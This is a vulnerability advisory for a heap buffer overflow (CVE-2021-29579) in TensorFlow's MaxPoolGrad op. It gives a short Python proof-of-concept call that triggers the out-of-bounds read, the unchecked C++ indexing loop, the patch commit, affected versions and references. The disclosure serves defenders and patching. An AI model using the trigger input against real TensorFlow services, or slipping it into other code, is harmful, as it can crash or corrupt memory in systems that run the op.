Heap buffer overflow in `MaxPoolGrad`
Impact
The implementation of tf.raw_ops.MaxPoolGrad is vulnerable to a heap buffer overflow:
import tensorflow as tf
orig_input = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)
orig_output = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)
grad = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
ksize = [1, 1, 1, 1]
strides = [1, 1, 1, 1]
padding = "SAME"
tf.raw_ops.MaxPoolGrad(
orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,
strides=strides, padding=padding, explicit_paddings=[])The implementation fails to validate that indices used to access elements of input/output arrays are valid:
for (int index = out_start; index < out_end; ++index) {
int input_backprop_index = out_arg_max_flat(index);
FastBoundsCheck(input_backprop_index - in_start, in_end - in_start);
input_backprop_flat(input_backprop_index) += out_backprop_flat(index);
}Whereas accesses to input_backprop_flat are guarded by FastBoundsCheck, the indexing in out_backprop_flat can result in OOB access.
Patches
We have patched the issue in GitHub commit a74768f8e4efbda4def9f16ee7e13cf3922ac5f7.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
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Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-cpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-gpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-79fv-9865-4qcv
- https://github.com/tensorflow/tensorflow/commit/a74768f8e4efbda4def9f16ee7e13cf3922ac5f7
- https://nvd.nist.gov/vuln/detail/CVE-2021-29579
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-507.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-705.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-216.yaml
- https://github.com/tensorflow/tensorflow
- CVSS vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L- Weakness (CWE)
CWE-119, CWE-787- Platform
- Python (PyPI)
- Package
tensorflow, tensorflow-cpu, tensorflow-gpu- Disclosed
- 14.05.2021
- Updated
- 11.10.2026 13:19
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2021-216 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-507 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-705 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-79fv-9865-4qcv - CC BY 4.0
Vulnerability history: tensorflow-gpu
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 427
- First → latest
- 04.2019 07.2024
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 6
- High 109
- Medium 207
- Low 105
Disclosures per year
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 166
- 2023: 18
- 2024: 1
- 2025: 0
- 2026: 0
-
Heap buffer overflow in `MaxPoolGrad` this entry
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